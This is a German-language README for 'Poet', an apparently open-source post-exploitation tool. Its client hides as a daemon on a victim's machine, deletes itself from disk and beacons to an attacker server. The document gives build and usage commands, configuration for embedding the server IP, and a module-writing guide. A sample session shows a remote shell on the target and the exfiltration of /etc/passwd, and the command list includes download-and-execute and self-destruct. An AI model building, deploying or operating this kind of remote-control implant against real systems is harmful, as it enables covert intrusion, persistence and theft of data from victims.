
[nicht mehr gewartet] Post-Exploitation-Tool
Ein einfaches POst-Exploitation-Tool.
Das Client-Programm läuft auf dem Zielrechner und ist mit einer IP-Adresse (dem Server) und einer Verbindungsfrequenz konfiguriert. Wenn der Server nicht läuft, wenn der Client eine Verbindung herstellen möchte, schläft der Client leise und versucht es im nächsten Intervall erneut. Läuft der Server jedoch, erhält der Angreifer eine Kommando-Shell, um den Client zu steuern und verschiedene Aktionen auf dem Ziel auszuführen, darunter:
Dies ist nur ein kleiner Ausschnitt dessen, was Poet kann.
Das Szenario: Ein Angreifer hat Zugriff auf den Rechner des Opfers erlangt und den Client heruntergeladen und ausgeführt. Zu diesem Zeitpunkt läuft der Server noch nicht, aber das ist in Ordnung – der Client wartet geduldig. Irgendwann ist der Angreifer bereit und startet den Server, führt zunächst eine Shell aus und führt uname -a aus, dann exfiltriert er /etc/passwd. Anschließend beendet er die Verbindung und trennt sich vom Client, der auf dem Ziel weiterläuft und auf die nächste Gelegenheit wartet, sich mit dem Server zu verbinden. Später verbindet er sich erneut, zerstört den Client selbst und entfernt alle Spuren vom Ziel.
Rechner des Opfers (5.4.3.2):
$ ./poet-client 1.2.3.4 10 # poet-client läuft als Daemon, daher ist nichts zu sehen
Warnung: Nach Ausführung dieses Befehls müssen Sie entweder
selfdestructvom Server aus ausführen oder denpoet-client-Prozess beenden, um den Client zu stoppen.
Rechner des Angreifers (1.2.3.4):
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
chint
dlexec
exec
exfil
exit
help
recon
selfdestruct
shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated
Gehen Sie zur Releases-Seite und laden Sie die neuesten poet-client- und poet-server-Dateien herunter.
Springen Sie dann zum Abschnitt „Verwendung“ weiter unten.
Alternativ können Sie Poet selbst erstellen (das ist recht einfach, siehe unten).
Stellen Sie sicher, dass die ausführbaren Dateien python2.7 und zip verfügbar sind.
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make
Dies erzeugt ein Verzeichnis bin/, das poet-client und poet-server enthält.
Poet ist extrem einfach zu verwenden und benötigt nichts weiter als die Python (2.7)-Standardbibliothek. Um es einfach zu testen, würde ein typischer Aufruf so aussehen:
Terminal 1:
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct
Standardmäßig läuft der Poet-Client als Daemon und löscht sich selbst von der Festplatte, daher wird dieses Verhalten mit den Flags
--debugund--no-selfdestructunterdrückt.
Terminal 2:
$ sudo ./poet-server
Standardmäßig muss der Server als root (mit
sudo) ausgeführt werden, da der Standardport, an den er sich bindet, 443 ist. Wenn Ihnen das unangenehm ist, lassen Sie einfachsudoweg und verwenden Sie das Flag-p <PORT>sowohl auf Client- als auch auf Serverseite. Wählen Sie eine hohe, gut passende Portnummer (> 1024).
Die Datei common/config.py enthält verschiedene optionale Konfigurationseinstellungen für Poet-Builds.
AUTH: Geheimes Authentifizierungstoken, das zwischen Client und Server für die Client-Authentifizierung geteilt wird. Beachten Sie, dass der Standardwert alles andere als geheim ist. Für jede nicht-testbezogene Verwendung wird empfohlen, ihn auf einen anderen, nicht erratbaren Wert zu ändern. Beachten Sie, dass vorgefertigte Pakete das standardmäßige, öffentliche Authentifizierungstoken verwenden.ARCHIVE_DIR: Verzeichnis, das vom Server zum Speichern von Dateien (Ausgabe von Befehlen, Exfiltration, Aufklärung usw.) verwendet wird.SERVER_IP: IP-Adresse des Servers.BEACON_INTERVAL: Sekunden zwischen den Beacon-Signalen des Clients an den Server.Die Konfigurationen SERVER_IP und BEACON_INTERVAL ermöglichen es, Informationen, die zuvor als Befehlszeilenargumente erforderlich waren, in die endgültigen ausführbaren Dateien einzubetten, sodass das endgültige Programm einfach ohne Argumente ausgeführt werden kann. Werte von None für eine der beiden führen dazu, dass sie auf das Standardverhalten zurückfallen (erforderliches Befehlszeilenargument für SERVER_IP, optionales Befehlszeilenargument für BEACON_INTERVAL).
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
IP [INTERVAL]
positional arguments:
IP Poet Server
INTERVAL Beacon Interval, in seconds. Default: 600
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
--debug show debug messages. implies --no-daemon
--no-daemon don't daemonize
--no-selfdestruct don't selfdestruct
Poet ist eine Client/Server-Anwendung. Der Client wird auf dem Ziel ausgeführt und sendet in einem bestimmten Zeitintervall Beacon-Signale an den Server zurück. Das einzige erforderliche Argument ist die IP-Adresse, auf der der Server läuft oder laufen wird. Optional kann das Zeitintervall in Sekunden angegeben werden, wie häufig Beacon-Signale gesendet werden sollen – standardmäßig 10 Minuten. Der Port, den der Client für Beacon-Signale verwendet, kann mit dem Flag -p angegeben werden. Alle anderen Flags würden in der „echten“ Nutzung nicht verwendet und dienen hauptsächlich der Fehlersuche.
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
-v, --version prints the Poet version number and exits
Der Server wird auf dem eigenen Rechner des Benutzers ausgeführt und lauscht auf Beacon-Signale des Clients. Standardmäßig lauscht er auf einem privilegierten Port (443) und muss mit entsprechenden Rechten ausgeführt werden (die nach dem Binden schnell wieder abgegeben werden). Das Flag -p kann verwendet werden, um dies zu umgehen, indem ein nicht privilegierter Port zum Lauschen ausgewählt wird (>1024).
Poet ist durch sein Modul-Framework hochgradig erweiterbar; tatsächlich ist fast jeder Befehl, der in der posh-Shell verfügbar ist, als Modul implementiert. Sie können im Verzeichnis common/modules/ eingesehen werden. Die Datei common/modules/template.py dient als minimales Beispielmodul, das als Ausgangspunkt verwendet werden kann. Um ein Poet-Modul hinzuzufügen, legen Sie es einfach im Verzeichnis common/modules/ ab und erstellen Sie Poet mit make neu.
Hier ist ein einfaches Beispielmodul, das die grundlegende Kommunikation zwischen Client und Server zeigt. Das Modul registriert einen posh-Befehl, sendet eine Zeichenkette, der Client kehrt sie um und sendet sie zurück, und der Server gibt sie aus.
# Hinweis: Dieses Modul prüft nicht, ob ein argv[1] übergeben wurde
import module
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv hier ist ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
@module.client_handler('reverse')
def client(client, inp):
# inp hier ist 'reverse ...'
client.s.send(inp.split()[1][::-1])
Das Modul beginnt mit
import module
Dies ist erforderlich und wird benötigt, um sich im Modul-Framework zu registrieren.
Der nächste Abschnitt ist die serverseitige Komponente des Moduls.
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv hier ist ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
Der Dekorator @module.server_handler() registriert einen posh-Befehl, indem der Befehlsname als Parameter des Dekorators übergeben und eine Handler-Funktion definiert wird, die ausgeführt wird, wenn der Befehl ausgeführt wird. Die Handler-Funktion muss zwei Parameter akzeptieren. Einer ist die Instanz des PoetServer, der das Modul aufgerufen hat, und der andere ist die eingegebene Befehlszeichenkette, dargestellt als Liste von Argumenten. Die Server-Instanz existiert, damit das Modul Hilfsfunktionen für die Kommunikation mit dem Client, das Schreiben von Dateien in das Archivverzeichnis usw. nutzen kann. Das Modul verwendet server.conn.exchange(), um die eingegebene Befehlszeile als Zeichenkette an den Client zu senden und die Antwort als Rückgabewert zu erhalten.
Die clientseitige Komponente des Moduls folgt als nächstes.
@module.client_handler('reverse')
def client(client, inp):
# inp hier ist 'reverse ...'
client.s.send(inp.split()[1][::-1])
Der Dekorator @module.client_handler() wird verwendet, um eine Aufgabe zu registrieren, auf die der Client reagieren und die er verarbeiten soll. Da Client und Server durch das Senden von Zeichenketten miteinander kommunizieren, ist der erste Teil der Zeichenkette das Schlüsselwort für eine bestimmte Aufgabe. Das Modul registriert eine Client-Handler-Funktion, die ausgeführt wird, wenn eine Nachricht vom Server eingeht, die mit 'reverse' beginnt. Ähnlich wie beim Server-Handler muss der Client-Handler Parameter für die Instanz des PoetClient akzeptieren, der ihn aufgerufen hat, sowie für die vom Server übergebene Eingabezeichenkette. Der Client verwendet dann die Funktion client.s.send(), um Daten an den Server zurückzusenden, in diesem Fall das erste Argument, umgekehrt.
In Aktion sieht das so aus:
posh > reverse poet
Sending: poet
Received: teop
Dokumentierte Bedenken:
Ich erstelle Poet ausschließlich zu meiner eigenen Weiterbildung und Lernerfahrung. Der Code ist frei verfügbar, weil ich denke, dass er für andere nützlich sein könnte, die sich für diese Art von Dingen interessieren. Verwenden Sie es verantwortungsbewusst.